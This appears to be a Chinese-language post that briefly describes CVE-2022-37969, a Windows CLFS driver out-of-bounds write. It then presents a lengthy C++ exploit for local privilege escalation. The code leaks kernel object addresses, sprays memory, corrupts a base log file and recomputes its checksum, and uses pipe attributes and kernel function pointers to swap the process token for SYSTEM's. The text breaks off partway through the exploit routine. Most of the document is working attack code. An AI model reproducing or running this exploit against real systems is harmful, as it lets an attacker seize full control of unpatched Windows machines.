CVE-2022-37969 是通用日志文件系统驱动 clfs 中的越界写入漏洞,通过该漏洞可以完成提权。
clfs是一个通用日志记录的子系统,在内核模式和用户模式都可以使用它来构建日志.在基本日志文件blf中生成日志。
EXP:
// Understanding the CVE-2022-37969 Windows Common Log File System Driver Local Privilege Escalation.
// Authors: www.chwm.vip
#pragma warning (disable : 4005)
#include <stdio.h>
#include <iostream>
#include <windows.h>
#include <clfsw32.h>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <tlhelp32.h>
#include "ntos.h"
#include "crc32.h"
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Clfsw32.lib")
/*
Windows Server 2016 Standard ------>
Windows Server 2019 Standard ------> 17763 token offset: 0x4b8
Windows Server 2022 Standard ------> 20348 token offset: 0x4b8
Windows 10 Pro Version 21H1 -------> 19041 19043 offset: 0x4b8
Windows 10 Pro Version 21H2 -------> 19041 offset: 0x4b8
Windows 11 Pro Version 21H2 -------> 22000 token offset: 0x4b8
*/
//
// NT syscalls
//
#define SystemModuleInformation 0xb
#define SystemHandleInformation 0x10
typedef struct _SYSTEM_BIGPOOL_ENTRY {
union {
PVOID VirtualAddress;
ULONG_PTR NonPaged : 1;
};
SIZE_T SizeInBytes;
union {
UCHAR Tag[4];
ULONG TagUlong;
};
} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;
typedef struct _SYSTEM_BIGPOOL_INFORMATION {
ULONG Count;
SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;
typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
_NtQuerySystemInformation fnNtQuerySystemInformation = NULL;
_NtWriteVirtualMemory fnNtWriteVirtualMemory = NULL;
//
// Leaked addresses
//
DWORD64 g_EProcessAddress = 0;
DWORD64 g_EThreadAddress = 0;
DWORD64 g_TokenAddress, my_pidEprocess = 0;
//
// Version dependent offsets
//
#define OFFSET_OF_PREVIOUS_MODE 0x232
#define OFFSET_OF_WIN32PROCESS 0x3b0
#define OFFSET_OF_SEP_TOKEN_PRIVILEGES 0x40
#define OFFSET_OF_DCOMPOSITIONPROCESS 0x100
//
// CInteractionTrackerMarshaler object offsets
//
#define OFFSET_OF_FUNCTION 0x50
#define OBJECT_SIZE 0x1a0
typedef NTSTATUS func(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
// Global Variables
IO_STATUS_BLOCK v30;
IO_STATUS_BLOCK v31;
UINT64 offset_SeSetAccess = 0;
func* _NtFsControlFile;
UINT64 fnSeSetAccessStateGenericMapping = 0;
UINT64 offset_ClfsEarlier = 0;
UINT64 fnClfsEarlierLsn = 0;
CHAR clfs_path[] = { "\\SystemRoot\\System32\\drivers\\CLFS.SYS" };
FARPROC v22b = NULL;
UINT64 ntos_kernelBase = NULL;
UINT64 clfs_kernelBase = NULL;
WCHAR* stored_env_xfname = { 0 };
UINT64 v14 = 0;
UINT64 v15 = 0;
WCHAR* stored_env_containerfname = { 0 };
WCHAR* stored_env_containerfname2 = { 0 };
WCHAR* stored_env_containerfname3 = { 0 };
DWORD* hReadPipe[2] = { 0 };
UINT64 System_token_value = 0;
int numread;
#define NUMELEM 0x7a00
char buff[0x7a00];
INT64 v22 = 0;
INT64 v23 = 0;
INT64 v26 = 0;
INT64 v24 = 0;
INT64 v31b = 0;
INT64 v32 = 0;
UINT num_of_CLFS = 0;
PUINT p_num_of_CLFS = &num_of_CLFS; // number of CLFS tags
CHAR tag[] = { "Clfs" };
PUINT64 v10 = 0; // Offset of last field virtual address
int v9 = 0; // stores the amount of bigpool clfs tags
WCHAR* stored_env_fname;
DWORD _pid = 0;
DWORD pid_to_find = 0;
int token_offset = 0;
LONGLONG token_value = 0;
int winversion = 0;
WCHAR* stored_env_open;
WCHAR* foldr = nullptr;
DWORDLONG system_EPROCESS = 0;
PUINT64 kernelAddrArray = 0;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HANDLE hToken = NULL;
HMODULE user32 = NULL;
int flag = 0;
int flag2 = 0;
UINT64 dest2 = 0;
UINT64 dest3 = 0;
UINT64 value2 = 0;
UINT64* value3 = 0;
UINT64 next_token;
// Get OS version to get TOKEN offsets
int getOSversion() {
char buff[100];
HKEY hKey;
DWORD cType;
wchar_t lpData[1024] = { 0 };
DWORD buffersize = sizeof(lpData);
int tokenOffset = 0;
memset(buff, 0, sizeof(buff)); // clear buffer
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"), NULL, KEY_READ, &hKey) == ERROR_SUCCESS)
{
printf("[+] Registry key Opened successfully\n");
}
else {
printf("[!] Failed to open reg key: %s\n", GetLastError());
exit(1);
}
RegQueryValueExW(hKey, TEXT(L"CurrentBuild"), NULL, &cType, (LPBYTE)lpData, &buffersize);
RegCloseKey(hKey);
// convert unicode to ansi
WideCharToMultiByte(CP_UTF8, 0, lpData, -1, (LPSTR)buff, 0x80, 0, 0);
// convert string to int
winversion = atoi(buff);
wprintf(L"[+] Windows Build Number: %i\n", winversion);
// check if versions are supported
if (winversion >= 17763 && winversion <= 22000) {
token_offset = 0x4b8; // store the token offset
}
else {
printf("[!] Version %d not supported. Exiting...\n", winversion);
}
return 0;
}
SIZE_T GetObjectKernelAddress(HANDLE Object)
{
PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
ULONG handleInfoSize = 0x1000;
ULONG retLength;
NTSTATUS status;
SIZE_T kernelAddress = 0;
BOOL bFind = FALSE;
while (TRUE)
{
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH
{
LocalFree(handleInfo);
handleInfoSize = retLength + 0x100;
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if (NT_SUCCESS(status))
{
for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++)
{
if ((USHORT)Object == 0x4)
{
if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
else
{
if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
}
}
}
if (handleInfo)
LocalFree(handleInfo);
if (bFind)
break;
}
return kernelAddress;
}
VOID InitEnvironment()
{
//
// Resolve NT syscalls
//
fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");
DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS);
// printf("[+] HPROCESS %p\n", hProcess);
g_EProcessAddress = GetObjectKernelAddress(hProcess);
printf("[+] MY EPROCESSS %p\n", g_EProcessAddress);
system_EPROCESS = GetObjectKernelAddress((HANDLE)4);
printf("[+] SYSTEM EPROCESSS %p\n", system_EPROCESS);
return;
}
int checkAccessToken() {
int v8 = 0; // todavia no se que es
PHANDLE TokenHandle = 0; //
int savedHprocess = 0;
NTSTATUS status2;
ULONG size2;
NTSTATUS status3;
UINT64 v11 = 0;
PUINT v12 = 0;
user32 = LoadLibraryW(L"user32.dll");
int currentpid = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, currentpid);
if (!hProcess) {
printf("[!] OpenProcess failed with error %d\n", GetLastError());
}
printf("[+] hProcess: 0x%x\n", hProcess);
savedHprocess = (UINT)hProcess;
if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hProcess)) {
printf("[!] OpenProcessToken failed with error %d\n", GetLastError());
return 0;
}
TokenHandle = &hProcess;
printf("[+] Token handle: 0x%x\n", TokenHandle);
VOID* v10 = malloc(0x20);
if (!v10) { exit(1); }
status2 = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, 32, &size2);
if (!*(PUINT)v10) {
exit(1);
}
if (status2 == 0xC0000004 || NT_SUCCESS(status2)) // STATUS_INFO_LENGTH_MISMATCH
{
LocalFree(v10);
v10 = malloc(size2);
printf("[+] Structure Address %p\n", v10);
status3 = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, size2, &size2);
printf("[+] Number of Handles: 0x%x\n", *(PULONG)v10);
}
v12 = (PUINT)v10 + 3;
printf("[+] Direccion: 0x%p pid: %x\n", (v12 - 1), *(v12 - 1));
while (*(v12 - 1) != GetCurrentProcessId() || *(BYTE*)v12 != 5 || *(PUINT16)TokenHandle != *(PUINT16)((PCHAR)v12 + 2)) {
// printf("pasada %d\n", v11);
v11++;
v12 = (PUINT)v12 + 6;
// printf("v12 = %p\n", v12);
if (v11 >= *(PUINT)v10) {
printf("[+] Termino\n");
break;
}
}
printf("[+] Valor: %x\n", *(PUINT16)v12);
printf("[+] Salida del while\n");
return 0;
}
int createInitialLogFile() {
WCHAR* foldr = nullptr;
size_t sz = 0;
if (_wdupenv_s(&foldr, &sz, L"PUBLIC") == 0 && foldr != nullptr)
{
printf("[+] Variable = %ls\n", foldr);
// free(foldr);
}
WCHAR* tmp_env = (WCHAR*)malloc(0x1000);
WCHAR* stored_env = tmp_env; // where Public environment variable is stored
memset(tmp_env, 0, 0x1000); //
wsprintfW(stored_env, L"%s", foldr); // C:\Users\Public
// printf("variable 1 stored_env unicode: %ls\n", stored_env);
WCHAR* tmp_env2 = (WCHAR*)malloc(0x1000);
WCHAR* stored_env_log = tmp_env2; // where Public environment variable is stored
memset(tmp_env2, 0, 0x1000);
wsprintfW(stored_env_log, L"LOG:%s", stored_env);
printf("variable 2 stored_env_log unicode + log: %ls\n", stored_env_log); //LOG:C:\Users\Public
WCHAR* tmp_env3 = (WCHAR*)malloc(0x1000);
stored_env_fname = tmp_env3; // where Public environment variable is stored
memset(tmp_env3, 0, 0x1000);
wsprintfW(stored_env_fname, L"%s\\MyLog", stored_env_log);
printf("variable 3 stored_env_fname unicode fname: %ls\n", stored_env_fname); // LOG:C:\Users\Public\MyLog
WCHAR* tmp_env4 = (WCHAR*)malloc(0x1000);
stored_env_open = tmp_env4; // where Public environment variable is stored
memset(tmp_env4, 0, 0x1000);
wsprintfW(stored_env_open, L"%s\\MyLog.blf", stored_env); // C:\Users\Public\MyLog.blf
// printf("variable 4 stored_env_open unicode: %ls\n", stored_env_open);
WCHAR* tmp_env5 = (WCHAR*)malloc(0x1000);
stored_env_xfname = tmp_env5; // where Public environment variable is stored
memset(tmp_env5, 0, 0x1000);
wsprintfW(stored_env_xfname, L"%s\\MyLxg", stored_env_log);
// printf("variable 5 stored_env_fname unicode xfname: %ls\n", stored_env_xfname); // LOG:C:\Users\Public\MyLxg
WCHAR* tmp_env6 = (WCHAR*)malloc(0x1000);
WCHAR* tmp_env7 = (WCHAR*)malloc(0x1000);
WCHAR* tmp_env8 = (WCHAR*)malloc(0x1000);
stored_env_containerfname = tmp_env6; // where Public environment variable is stored
memset(tmp_env6, 0, 0x1000);
stored_env_containerfname2 = tmp_env7; // where Public environment variable is stored
memset(tmp_env6, 0, 0x1000);
stored_env_containerfname3 = tmp_env8; // where Public environment variable is stored
memset(tmp_env6, 0, 0x1000);
srand(time(NULL));
int v56 = rand();
printf("random part name of the container %d\n", v56);
wsprintfW(stored_env_containerfname, L"%s\\.container_1%d", stored_env, v56);
wsprintfW(stored_env_containerfname2, L"%s\\.container_1%d", stored_env, (v56+1));
wsprintfW(stored_env_containerfname3, L"%s\\.container_1%d", stored_env, (v56 + 2));
// printf("variable 6 stored_env_containerfname unicode: %ls\n", stored_env_containerfname);// C:\\Users\\Public\\.container_1%d" + nro random
// getchar();
// 1. Create a base log file MyLog.blf in the folder C:\Users\Public\ via the CreateLogFile API
HANDLE logFile = CreateLogFile(stored_env_fname, GENERIC_READ | GENERIC_WRITE, 1, 0, 4, 0);
if (logFile == (HANDLE)-1) {
DWORD error = GetLastError();
// printf("Could not create log file, error: 0x%x\n", error);
exit(-1);
}
printf("[+] Log file created with handle --> 0x%x\n", logFile);
CloseHandle(logFile);
//getchar();
return 0;
}
// SystemBigPoolInformation
int getBigPoolInfo(PUINT64 _a2)
{
UINT64 v7 = 0;
UINT v8 = 0; // counter
UINT64 v11 = 0;
ULONG retlen = 0;
PUINT64 v15 = 0;
ULONG v4 = 0;
DWORD* v5;
UINT v6 = 0;
DWORD* v3 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4);
if (fnNtQuerySystemInformation(SystemBigPoolInformation, v3, 0x1000, &retlen) == 0xC0000004)
{
while (1)
{
VirtualFree(v3, 0, 0x8000);
v4 = retlen;
v5 = (DWORD*)VirtualAlloc(0, (SIZE_T)retlen, 0x1000, 4);
v3 = v5;
if (!v5)
{
printf("[+] Error Allocating Memory\n");
break;
}
if (fnNtQuerySystemInformation(SystemBigPoolInformation, v5, v4, &retlen) != 0xC0000004)
{
goto label_4;
}
else {
break;
}
}
//printf("[+] Error Allocating Memory\n");
}
else {
label_4:
v6 = (UINT) * (PUINT)v3; // v6 is the field count on the SYSTEM_BIGPOOL_INFORMATION
// printf("[+] Field Count --> %x\n", v6);
if (flag2 == 0) {
kernelAddrArray = (PUINT64)malloc(v6 * 8);
printf("Kernel addresss array %p", kernelAddrArray);
memset(kernelAddrArray, 0, (v6 * 8));
flag2++;
}
if (v6)
{
v9 = *p_num_of_CLFS;
v10 = (PUINT64)&v3[4 * v6 - 4 + 2 * v6];
// printf("[+] LAST SYSTEM BIG POOL ENTRY OFFSET --> %p\n", v10); // offset to the last SYSTEM_BIGPOOL_ENTRY
do {
v11 = *v10 & 0xFFFFFFFFFFFFFFFE;
// printf("[+] First field value of BIG POOL ENTRY structure, named Virtual Address --> %p\n", v11);
if ((*v10 & 1) == 0)
{
v11 = *v10;
}
if (v10[1] == 0x7a00) // search for the clfs base log file size
{
UINT v12 = 0;
while (1)
{
CHAR v13 = tag[v12++];
if (v13 != *((BYTE*)v10 + v12 + 15))
{
break;
}
if (v12 == 5) // tag Clfs found !
{
UINT v14 = 0;
if (v9 <= 0)
{
label_16:
UINT v16 = v9++;
kernelAddrArray[v16] = v11;
if (_a2)
{
++v8;
*_a2 = v11;
}
}
else
{
v15 = kernelAddrArray;
while (*v15 != v11)
{
++v14;
++v15;
if (v14 >= v9) {
goto label_16;
}
}
}
break;
}
}
}
++v7;
v10 -= 3; // back 0x18 to previous System Big Pool Entry to find the 0x7a00
} while (v7 < v6); // it compares the counter against the field count of SYSTEM_BIGPOOL_INFORMATION
*p_num_of_CLFS = v9;
}
//printf("[+] Variables: v8 = %x v9 = %x\n", v8, v9);
//printf("[+] Kernel Addresses array --> %p\n", kernelAddrArray);
if (_a2 && v8 == 0) {
printf("[+] Not found available chunk\n");
exit(1);
}
VirtualFree(v3, 0, 0x8000);
}
return 0;
}
VOID GetOffsetBetweenPools() {
UINT64 a2 = 0;
PUINT64 p_a2 = &a2;
WCHAR* buf = (WCHAR*)malloc(0x1000);
do
{
while (1)
{
while (1)
{
do
{
HANDLE logFile1;
do
{
v26 = v24;
memset(buf, 0, 0x1000);
unsigned int rnum = rand();
wsprintfW((LPWSTR)buf, L"%s_%d", stored_env_fname, rnum);
logFile1 = CreateLogFile((LPWSTR)buf, 0xc0010000, 3, 0, 4, 0);
} while (logFile1 == (HANDLE)-1);
int* handleArray = (INT*)malloc(4);
*handleArray = (INT)logFile1;
getBigPoolInfo(p_a2); // SystemBigPoolInformation
// printf("[+] Last BigPoolAddress of Clfs tag --> %p\n [+]Total Clfs tags --> 0x%x\n", a2, num_of_CLFS);
v24 = p_a2[0];
} while (!v26);
v31b = p_a2[0] - v26;
v32 = v26 - p_a2[0];
if (v31b > 0) {
v32 = v31b;
}
//printf("[+] Distancia --> %x\n", v32);
if (v23) break;
v23 = v32;
}
if (v23 == v32) break;
v22 = 0;
v23 = v32;
}
++v22;
} while (v22 < 5);
// printf("[+] v22 --> %p\n", v22);
return;
}
VOID craftFile() {
FILE* pfile;
char checkSum[] = { 0x00, 0x00, 0x00, 0x00 }; // {0x59, 0xdf, 0x44, 0x06}; // offset 0x80c
char signaturOffset[] = { 0x50, 0x00, 0x00, 0x00 }; // offset 0x868
char ccoffsetArray[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x9a8
char cbsymbolZone[] = { 0x4b, 0x11, 0x01, 0x00 }; // offset 0x1b98
char blockNameoffset[] = { 0xb8, 0x1b, 0x00, 0x00 }; // offset 0x2390
char blockAtributeoffset[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x2394
char fakeClientcontext[] = { 0x07, 0xf0, 0xfd, 0xc1, 0x88 }; // offset 0x23a0
char fakeClientcontext2[] = { 0x01, 0x00, 0x00, 0x00 }; // offset 0x23ab
char fakeClientcontext3[] = { 0x20, 0x00, 0x00, 0x00 }; // offset 0x2418
_wfopen_s(&pfile, stored_env_open, L"r+");
if (pfile == 0) {
printf("Cant't open file, error %x\n", GetLastError());
// getchar();
exit(1);
}
printf("[+] file successfully opened\n");
fseek(pfile, 0x80c, SEEK_SET);
fwrite(checkSum, sizeof(char), sizeof(checkSum), pfile);
fseek(pfile, 0x868, SEEK_SET);
fwrite(signaturOffset, sizeof(char), sizeof(signaturOffset), pfile);
fseek(pfile, 0x9a8, SEEK_SET);
fwrite(ccoffsetArray, sizeof(char), sizeof(ccoffsetArray), pfile);
fseek(pfile, 0x1b98, SEEK_SET);
fwrite(cbsymbolZone, sizeof(char), sizeof(cbsymbolZone), pfile);
fseek(pfile, 0x2390, SEEK_SET);
fwrite(blockNameoffset, sizeof(char), sizeof(blockNameoffset), pfile);
fseek(pfile, 0x2394, SEEK_SET);
fwrite(blockAtributeoffset, sizeof(char), sizeof(blockAtributeoffset), pfile);
fseek(pfile, 0x23a0, SEEK_SET);
fwrite(fakeClientcontext, sizeof(char), sizeof(fakeClientcontext), pfile);
fseek(pfile, 0x23ab, SEEK_SET);
fwrite(fakeClientcontext2, sizeof(char), sizeof(fakeClientcontext2), pfile);
fseek(pfile, 0x2418, SEEK_SET);
fwrite(fakeClientcontext3, sizeof(char), sizeof(fakeClientcontext3), pfile);
fclose(pfile);
printf("[+] Archivo modificado !\n");
return;
}
int crcCalculatorAndFix() {
uint32_t table[256];
crc32::generate_table(table);
// Struct, for piece-by-piece, bytewise
struct DataStruct {
uint16_t data1;
uint16_t data2;
float mypi;
uint32_t myclock;
bool begun;
};
#define SIZE 1
FILE* fd = NULL;
memset(buff, 0, sizeof(buff));
_wfopen_s(&fd, stored_env_open, L"rb");
fseek(fd, 0x800, SEEK_SET);
numread = fread(buff, SIZE, NUMELEM, fd);
fclose(fd);
*((DWORD*)(buff + 0xc)) = 0;
// printf("NUMBER OF BYTES READ= %x\n", numread);
if (numread != NUMELEM)
{
// printf("\n fread() failed\n");
return 1;
}
char* ptr = (char*)&buff;
uint16_t slen = sizeof(buff);
// printf("Size of Data struct is: %x\n", slen); // 16 bytes
uint32_t CRC = 0;
for (int cnt = 0; cnt < slen; cnt++) {
CRC = crc32::update(table, CRC, ptr, 1);
ptr++;
}
// printf("Piece-wise crc32 of struct Data is: 0x%X \n", CRC); // 0x6A8E18CE
_wfopen_s(&fd, stored_env_open, L"r+");
fseek(fd, 0x80c, SEEK_SET);
fwrite(&CRC, 1, 4, fd);
fclose(fd);
return 1;
}
int doHeapSpray() {
UINT64 alloc00 = 0x5000000;
UINT64 alloc01 = 0x10000;
if (!VirtualAlloc((LPVOID)alloc00, 0x100000, 0x3000, 4)) {
printf("[-] Failed to allocate memory\n");
return 0;
}
if (!VirtualAlloc((LPVOID)0x10000, 0x1000000, 0x3000, 4)) {
DWORD lastError = GetLastError();
printf("[-] Failed to allocate memory at address 0x1000\n");
return 0;
}
for (int i = 0; i < 0x1000000; i += 0x10)
*(UINT64*)(i + 0x10000) = 0x5000000;
printf("[+] Successful allocated at 0x10000\n");
// getchar();
return 0;
}
VOID FindKernelModulesBase()
{
UINT64 retval = 0;
HANDLE hHeap = GetProcessHeap();
LPVOID lpHeapBuffer = HeapAlloc(hHeap, 0, 0x2000);
DWORD dwBytesReturned = 0;
if (!lpHeapBuffer) {
return;
}
NTSTATUS status = fnNtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
lpHeapBuffer,
0x2000,
&dwBytesReturned
);
// realloc and try again
// todo: add switch case for status
if (!NT_SUCCESS(status)) {
HeapFree(hHeap, 0, lpHeapBuffer);
lpHeapBuffer = HeapAlloc(hHeap, 0, dwBytesReturned);
if (!lpHeapBuffer) {
return;
}
memset(lpHeapBuffer, 0, dwBytesReturned);
status = fnNtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
lpHeapBuffer,
dwBytesReturned,
&dwBytesReturned
);
if (!NT_SUCCESS(status)) {
return;
}
}
PSYSTEM_MODULE_INFORMATION psm = (PSYSTEM_MODULE_INFORMATION)lpHeapBuffer;
if (psm->NumberOfModules > 0) {
retval = (UINT64)psm->Modules[0].ImageBase;
//HeapFree(hHeap, 0, lpHeapBuffer);
ntos_kernelBase = retval;
}
int i = 0;
for (i = 0; i < psm->NumberOfModules; i++)
{
if (!strncmp(clfs_path, (CHAR*)psm->Modules[i].FullPathName, strlen(clfs_path))) break;
}
printf("[+] Module name --> %s\n", psm->Modules[i].FullPathName);
clfs_kernelBase = (UINT64)psm->Modules[i].ImageBase;
return;
}
int pipeArbitraryWriteValues() {
VOID* v9a = 0;
// UINT64 v10 = 0;
ULONG retlen2 = 0;
DWORD* v10 = 0;
v10 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4);
FARPROC v22a = NULL;
UINT PIPE_ATTR_TAG = 0x7441704E;
//printf("Please Attach me\n");
//getchar();
HMODULE nt = GetModuleHandleA("ntdll");
_NtFsControlFile = (func*)GetProcAddress(nt, "NtFsControlFile");
if (!_NtFsControlFile) exit(1);
printf("[+] NtFsControlFile Address --> %p\n", _NtFsControlFile);
if (CreatePipe((PHANDLE)&hReadPipe[1], (PHANDLE)&hReadPipe[0], 0, 0x1000))
{
printf("[+] hReadPipe --> %x\n[+] hWritePipe --> %x\n", hReadPipe[1], hReadPipe[0]);
v9a = _malloc_base(0x2000);
memset((UINT64*)v9a + 1, 0x41, 0xffe);
*(UINT64*)v9a = 0x5a; // "Z"
VOID* dest = malloc(0x100);
memset(dest, 0x42, 0xff);
_NtFsControlFile(hReadPipe[0], 0, 0, 0, &v30, 0x11003c, v9a, 0xfd8, dest, 0x100);
fnNtQuerySystemInformation(SystemBigPoolInformation, v10, 0x1000, &retlen2);
DWORD* v5a = (DWORD*)VirtualAlloc(0, (SIZE_T)retlen2, 0x1000, 4);
// fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2);
// find Attribute Tag inside the Pool
NTSTATUS status = STATUS_SUCCESS;
if (NT_SUCCESS(status = fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2))) {
PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(v5a);
for (ULONG i = 0; i < pBuf->Count; i++) {
__try {
if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) {
printf("[+] VirtualAddress -->%p\n[+] Tag --> %s\n", pBuf->AllocatedInfo[i].VirtualAddress, &pBuf->AllocatedInfo[i].TagUlong);
v30.Pointer = pBuf->AllocatedInfo[i].VirtualAddress;
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("(%s) Access Violation was raised.", __FUNCTION__);
}
}
}
printf("[+] SystemEprocess --> %p\n", system_EPROCESS);
printf("[+] v14 --> %p\n", system_EPROCESS & 0xfff);
printf("[+] v15 --> %p\n", system_EPROCESS & 0xfffffffffffff000);
v14 = system_EPROCESS & 0xfff;
v15 = system_EPROCESS & 0xfffffffffffff000;
dest2 = 0xffffffff;
dest3 = 0x100000007;
value2 = 0x414141414141005A;
value3 = 0;
value3 = &value2;
if (VirtualAlloc((LPVOID)dest2, 0x100000, 0x3000, 4))
{
memset((LPVOID)dest3, 0, 0xff8);
*(UINT64*)dest2 = v15;
CHAR* v16a = (CHAR*)v30.Pointer + 24; // this address should point to AttributeValueSize in kernel pool
printf("[+] v30.Pointer --> %p\n[+] v30.Pointer+24 --> %p\n", (CHAR*)v30.Pointer, v16a);
*(UINT64*)dest3 = value2;
for (int i = 8; i < 0x1000000; i += 0x10)
{
*(UINT64*)(i + 0x10000) = (UINT64)v16a;
}
HMODULE CLFS_userBase = LoadLibraryExW(L"C:\\Windows\\System32\\drivers\\CLFS.SYS", 0, 1);
if (CLFS_userBase)
{
v22b = GetProcAddress(CLFS_userBase, "ClfsEarlierLsn");
}
HMODULE ntos_userBase = LoadLibraryExW(L"ntoskrnl.exe", 0, 1);
if (ntos_userBase)
{
v22a = GetProcAddress(ntos_userBase, "SeSetAccessStateGenericMapping");
}
FindKernelModulesBase();
printf("[+] NTOSKRNL base on user -------------------------> %p\n", ntos_userBase);
printf("[+] NTOSKRNL base on Kernel ------------------------> %p\n", ntos_kernelBase);
printf("[+] SeSetAccessStateGenericMapping user address ----> %p\n", v22a);
offset_SeSetAccess = (UINT64)v22a - (UINT64)ntos_userBase;
printf("[+] Offset SeSetAccessStateGenericMapping ----------> %p\n", offset_SeSetAccess);
fnSeSetAccessStateGenericMapping = ntos_kernelBase + offset_SeSetAccess;
printf("[+] SeSetAccessStateGenericMapping kernel address --> %p\n\n", fnSeSetAccessStateGenericMapping);
printf("[+] CLFS.SYS base on user -------------------------> %p\n", CLFS_userBase);
printf("[+] CLFS base on Kernel ---------------------------> %p\n", clfs_kernelBase);
printf("[+] ClfsEarlierLsn user address --------------------> %p\n", v22b);
offset_ClfsEarlier = (UINT64)v22b - (UINT64)CLFS_userBase;
printf("[+] Offset ClfsEarlierLsn --------------------------> %p\n", offset_ClfsEarlier);
fnClfsEarlierLsn = clfs_kernelBase + offset_ClfsEarlier;
printf("[+] ClfsEarlierLsn kernel address ------------------> %p\n", fnClfsEarlierLsn);
return 0;
}
}
}
int pipeArbitraryWrite() {
HANDLE v51 = 0;
if (fnClfsEarlierLsn)
{
*(PUINT64)(0x5000018) = fnClfsEarlierLsn;
*(PUINT64)(0x5000000) = 0x123456789;
*(PUINT64)(0x5000008) = fnSeSetAccessStateGenericMapping;
if (flag == 1){
//Arranging the memory for second attempt
*(UINT64*)dest2 = System_token_value;
*(UINT64*)dest3 = next_token;
UINT64 Token_address_current_minus_8 = g_EProcessAddress + 0x4b8 - 8;
printf("ADDRESS of MY PROCESSS TOKEN -8= %p\n", Token_address_current_minus_8);
for (int i = 8; i < 0x1000000; i += 0x10)
{
*(UINT64*)(i + 0x10000) = (UINT64)Token_address_current_minus_8;
}
*(UINT64*)(0x5000000) = 0x123456789;
*(UINT64*)(0x5000018) = fnClfsEarlierLsn;
*(UINT64*)(0x5000008) = fnSeSetAccessStateGenericMapping;
}
// printf("attach\n");
v51 = CreateLogFile(stored_env_fname, 0xC0010000, 3u, 0i64, 4, 0); // 0xc0010000 #gets a handle of MyLog.blf
// printf("OK 0x%x\n", v51);
srand(time(NULL));
int v53 = rand();
WCHAR* v25 = (WCHAR*)malloc(0x1000);
WCHAR* v85 = v25;
memset(v25, 0, 0x1000);
wsprintfW(v85, L"%s_%d", stored_env_xfname, v53);
/* 4. Call the CreateLogFile API to create a base log file MyLxg_xxx.blf in the folder C:\Users\Public\. */
HANDLE v55 = CreateLogFile(v85, GENERIC_READ | GENERIC_WRITE | DELETE, 3u, 0i64, 4u, 0); //gets a handle of MyLogxxx.blf
printf("OK handle 55 0x%x\n", v55);
if (v55 == (HANDLE)-1i64) {
// printf("Choose name fail ---> Duplicate\n");
exit(1);
}
/* 5. Call the AddLogContainer API to add a log container for the base log file MyLxg_xxx.blf created in Step 4.*/
LONGLONG pcbContainer = 512;
// int v56 = rand();
WCHAR pwszContainerPath[768] = { 0 };
WCHAR pwszContainerPath2[768] = { 0 };
WCHAR pwszContainerPath3[768] = { 0 };
if (flag == 0){
wsprintfW(pwszContainerPath, stored_env_containerfname);
}
else {
wsprintfW(pwszContainerPath, stored_env_containerfname2);
}
//printf("string copiada2: %ls\n", stored_env_containerfname);
printf("pwszContainerPath: %ls\n", pwszContainerPath);
if (!AddLogContainer(v55, (PULONGLONG)&pcbContainer, pwszContainerPath, 0i64)) {
CloseHandle(v55);
CloseHandle(v51);
// printf("AddLogContainer Fail, please delete C:\\Users\\Public\\MyLxg_xxx.blf and try again\n");
exit(1);
}
// printf("LOG:C:\\Users\\Public\\Mylxg_xxx AddLogContainer OK\n");
/* 7. Call the AddLogContainer API to add a log container for the base log file MyLog.blf opened in Step 3. */
pcbContainer = 512;
srand(time(NULL));
UINT v56 = rand();
wsprintfW(pwszContainerPath, stored_env_containerfname);
